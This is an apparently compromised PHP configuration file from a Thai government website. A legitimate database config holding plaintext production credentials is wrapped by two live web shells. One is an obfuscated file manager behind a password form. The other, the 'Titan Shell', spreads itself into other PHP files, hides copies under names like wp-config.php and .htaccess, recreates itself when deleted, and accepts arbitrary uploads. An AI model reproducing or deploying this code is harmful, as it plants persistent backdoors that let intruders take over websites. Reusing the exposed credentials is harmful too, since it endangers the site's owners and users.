"\xe0\xb9\x82\302\232\xc2\xa0\340\xb9\x8f\xe0\xb8\x98\302\x8f\40\x20\103\141\x74\x61\x74\141\x6e\72\40\113\141\x6c\x61\165\40\160\141\x6b\x61\151\x20\x74\x6f\157\x6c\163\x20\147\151\x6e\151\x61\156\x20\x74\x65\162\x75\163\x20\x6e\x67\x61\153\x75\40\x68\141\x63\153\x65\162\54\x20\155\x65\156\144\x69\156\147\x20\x62\145\x6c\141\152\141\162\40\x6a\x61\144\x69\x20\164\165\x6b\141\156\147\40\x70\141\x72\153\x69\162\x20\142\x65\x6e\x65\162\x61\x6e\41\xa"; goto Ao2XD; bXrFo: function F5gc6($qmGx1) { return rtrim(strtr(base64_encode($qmGx1), "\53\x2f", "\x2d\137"), "\75"); } goto GBfY0; XhoU3: header("\114\157\x63\x61\164\x69\157\156\x3a\40\x3f\x70\141\164\150\x3d" . f5GC6($sI9lT)); goto G46ou; zi50F: header("\x4c\x6f\143\x61\164\x69\x6f\156\72\40\x3f\x70\x61\164\150\75" . f5Gc6($sI9lT)); goto Bw9sF; Dl_S4: echo "\x3c\x66\x6f\x72\155\x20\155\x65\x74\x68\157\x64\x3d\47\160\157\x73\x74\x27\76\15\xa\40\x20\x20\40\40\x20\40\40\74\x68\63\x3e\115\x61\x73\x75\x6b\x6b\x61\156\40\153\x61\x74\141\x20\153\141\x74\x61\x20\x6b\145\164\151\153\141\x20\155\141\x75\40\156\x67\145\x6e\164\157\144\x3a\74\57\150\x33\76\15\12\x20\40\40\x20\40\x20\40\40\x3c\x69\x6e\x70\165\x74\40\164\171\x70\145\75\47\160\x61\163\x73\167\157\162\144\x27\40\156\141\155\145\75\47\x70\141\x73\x73\x27\76\15\xa\x20\x20\x20\40\40\x20\40\x20\74\151\156\x70\165\x74\x20\164\x79\160\145\75\47\163\x75\142\x6d\x69\164\47\x20\166\x61\154\x75\x65\x3d\47\114\157\147\151\x6e\x27\76\xd\xa\40\40\x20\x20\x3c\x2f\x66\157\x72\x6d\76"; goto l4up5; l1hpt: function P1_rq($tdU09) { goto Ogfql; tcd3I: vEVAO: goto eGjuH; S3ph3: unlink($tdU09); goto Ukv3Z; NWGZi: foreach ($bCot8 as $eM3Zo) { goto kwtNb; uYFLY: goto IT0a4; goto IfiUU; N2RXn: IT0a4: goto Ikcli; kwtNb: if (!($eM3Zo == "\56" || $eM3Zo == "\56\56")) { goto cPZSb; } goto uYFLY; XEGqI: p1_RQ($tdU09 . DIRECTORY_SEPARATOR . $eM3Zo); goto N2RXn; IfiUU: cPZSb: goto XEGqI; Ikcli: } goto tcd3I; HEA2M: ajDKN: goto PQAIs; PQAIs: $bCot8 = scandir($tdU09); goto NWGZi; Ukv3Z: goto ourT3; goto HEA2M; eGjuH: rmdir($tdU09); goto Nq1Q5; Nq1Q5: ourT3: goto qgkds; Ogfql: if (is_dir($tdU09)) { goto ajDKN; } goto S3ph3; qgkds: } goto UFPkA; qCh5F: chdir($sI9lT); goto C5h0Y; Bw9sF: exit; goto xEQNj; G46ou: exit; goto rMXAO; WOuwZ: header("\x4c\157\x63\x61\x74\x69\157\x6e\72\x20\x3f\x70\x61\164\150\x3d" . f5gC6($sI9lT)); goto Dp6XF; l4up5: exit; goto qVcAb; bRoqm: if (!(isset($_FILES["\165\160\x6c\x6f\141\x64"]) && $_FILES["\x75\x70\x6c\x6f\141\x64"]["\145\x72\x72\x6f\x72"] == 0)) { goto FiPP3; } goto UYhzp; f_qKD: echo "\x3c\x68\63\76\x44\x61\146\164\141\162\x20\106\151\154\x65\40\144\141\x6e\x20\x46\157\154\144\145\162\72\74\57\x68\63\76"; goto stANy; FAmLP: GrcoH: goto rHzed; OaDnL: echo "\74\146\x6f\162\155\x20\155\145\x74\150\157\144\75\x27\160\x6f\x73\x74\47\x3e\xd\xa\40\40\40\x20\74\164\x65\x78\164\141\162\145\141\x20\156\141\x6d\x65\75\x27\x63\x6f\156\x74\x65\x6e\164\x27\40\162\x6f\x77\163\75\x27\62\60\x27\x20\x63\157\x6c\163\75\47\70\60\47\76" . htmlspecialchars(file_get_contents($u1KJf)) . "\x3c\57\x74\145\x78\164\x61\x72\x65\x61\76\74\142\x72\76\15\xa\40\40\x20\x20\x3c\151\x6e\160\165\x74\40\164\171\x70\145\75\47\150\151\144\x64\x65\156\x27\40\156\141\x6d\145\x3d\47\145\x64\151\164\x66\151\x6c\x65\47\x20\166\141\x6c\165\x65\x3d\47{$u1KJf}\47\x3e\xd\xa\40\x20\x20\x20\74\x69\x6e\160\165\x74\x20\164\171\x70\145\75\x27\x73\165\x62\155\x69\x74\x27\x20\x76\x61\x6c\x75\145\x3d\x27\123\x61\x76\145\x27\x3e\15\xa\x20\x20\40\40\x3c\x2f\146\157\x72\155\x3e"; goto YbOjJ; xP_2X: chmod($_POST["\x63\x68\x6d\x6f\144\137\164\x61\162\147\145\x74"], $GF_FG); goto FZaDL; yQeib: FiPP3: goto VxJx8; o2Pjj: mkdir($sI9lT . DIRECTORY_SEPARATOR . basename($_POST["\x6e\x65\167\146\157\x6c\144\145\x72"])); goto s13nr; ZqBFR: Lz4qG: goto Y_HzR; xG4Rl: Ld5o6:
<?php
######################################################################
# Include File : Config
######################################################################
########## Admin EMail ##########
define( "INFO_MAIL", "info@tasoft.co.th" );
if($_SERVER['SERVER_NAME'] == "localhost"){
$dbi['sql_username'] = 'root';
$dbi['sql_password'] = '';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'obt';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'D:\xampp\htdocs\nonpho');
define('URL' , 'http://localhost/nonpho/');
}elseif($_SERVER['SERVER_NAME'] == "tasoft2"){
$dbi['sql_username'] = 'root';
$dbi['sql_password'] = '';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'obt';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'C:\xampp\htdocs\nonpho');
}else{
$dbi['sql_username'] = 'ratsitne_nonphodb';
$dbi['sql_password'] = 'Success21';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'ratsitne_nonphodb';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'D:\xampp\htdocs\nonpho');
define('URL' , 'http://www.nonpho.go.th/');
}
//echo "<pre>"; print_r($dbi);
########## Database Info ##########
define( "DB_SERVER", $dbi['sql_host'] );
define( "DB_NAME", $dbi['sql_dbname'] );
define( "DB_USER", $dbi['sql_username'] );
define( "DB_PASSWD", $dbi['sql_password'] );
define( "DB_TYPE", "MySQL" );
########## Type File ##########
define( "FILE_TYPE", "pdf,doc,zip,rar,xls,xlsx,docx,ppt,pptx" );
define( "IMAGE_TYPE", "gif,jpg,png" );
define( "IMAGE_SIZE", "51200000" );
define( "FILE_SIZE", "524288000" );
define( "IMAGETYPE_JPEG" ,"jpg");
define( "IMAGETYPE_GIF" ,"gif");
define( "IMAGETYPE_PNG" ,"png");
define( "TIMESTAMP", time() );
?>
<?php
// Titan Shell dengan Perlindungan Penghapusan dan Penyebaran Otomatis
// Hanya untuk tujuan edukasi dan testing lingkungan sendiri
// Fungsi utama penyebaran
function titanSpread() {
$currentContent = file_get_contents(__FILE__);
$signature = "// TitanShellSignature";
// Direktori target untuk penyebaran
$targetDirectories = [
'.',
'..',
'../..',
'../../..',
'images',
'uploads',
'assets',
'include',
'inc',
'css',
'js',
'admin',
'wp-content',
'wp-includes'
];
// Nama file alternatif untuk penyamaran
$alternativeNames = [
'config.php',
'settings.php',
'imageprocessor.php',
'uploader.php',
'style.php',
'index.php',
'login.php',
'theme.php',
'functions.php',
'wp-config.php',
'admin.php'
];
foreach ($targetDirectories as $dir) {
if (is_dir($dir) && is_writable($dir)) {
foreach ($alternativeNames as $name) {
$targetPath = $dir . '/' . $name;
// Copy file ke lokasi target jika belum ada
if (!file_exists($targetPath)) {
file_put_contents($targetPath, $currentContent);
chmod($targetPath, 0555);
// Tambahkan parameter acak
$randomParam = generateRandomParam();
$paramPath = $dir . '/' . $randomParam . '.php';
file_put_contents($paramPath, $currentContent);
chmod($paramPath, 0555);
}
}
}
}
// Infect file PHP yang sudah ada
infectExistingFiles();
}
// Fungsi untuk menginfeksi file PHP yang sudah ada
function infectExistingFiles() {
$currentContent = file_get_contents(__FILE__);
$signature = "// TitanShellSignature";
// Cari file PHP di direktori saat ini dan subdirektori
$files = glob('*.php');
$allFiles = array_merge($files, glob('*/*.php'), glob('*/*/*.php'), glob('*/*/*/*.php'));
foreach ($allFiles as $file) {
if ($file != __FILE__ && is_writable($file)) {
$content = file_get_contents($file);
// Cek apakah file sudah terinfeksi
if (strpos($content, $signature) === false) {
// Tambahkan kode shell ke file yang belum terinfeksi
$infectedContent = $content . "\n\n" . $currentContent;
file_put_contents($file, $infectedContent);
}
}
}
}
// Fungsi untuk generate parameter acak
function generateRandomParam() {
$chars = 'abcdefghijklmnopqrstuvwxyz';
$length = rand(6, 12);
$param = '';
for ($i = 0; $i < $length; $i++) {
$param .= $chars[rand(0, strlen($chars) - 1)];
}
return $param;
}
// Fungsi untuk memastikan shell tetap ada
function ensurePersistence() {
$currentContent = file_get_contents(__FILE__);
$backupFiles = [
'.htaccess',
'.config.php',
'.error_log',
'thumb.php',
'image.jpg.php'
];
foreach ($backupFiles as $backup) {
if (!file_exists($backup)) {
file_put_contents($backup, $currentContent);
chmod($backup, 0555);
}
}
// Cek jika file ini dihapus, buat kembali di lokasi lain
if (!file_exists(__FILE__)) {
$newLocations = [
'wp-admin/images.php',
'wp-content/themes.php',
'includes/config.php',
'assets/script.php'
];
foreach ($newLocations as $location) {
$dir = dirname($location);
if (!is_dir($dir)) mkdir($dir, 0777, true);
file_put_contents($location, $currentContent);
chmod($location, 0555);
}
}
}
// Eksekusi utama
if(isset($_GET['sayangtitan'])) {
// Jalankan penyebaran setiap kali diakses
titanSpread();
ensurePersistence();
if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
$dir = "titan/";
if(!is_dir($dir)) mkdir($dir, 0777, true);
$file = $dir . basename($_FILES['file']['name']);
if(move_uploaded_file($_FILES['file']['tmp_name'], $file)) {
echo "Yey, Berhasil sayang...";
} else {
echo "Yahh Gagal Upload";
}
exit();
} else {
echo 'Gasken Upload!!<form method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>';
exit();
}
}
// Jalankan penyebaran dan persistensi secara diam-diam
// dengan probabilitas 20% setiap kali diakses
if (rand(1, 5) === 1) {
titanSpread();
ensurePersistence();
}
// TitanShellSignature - Jangan hapus baris ini
?>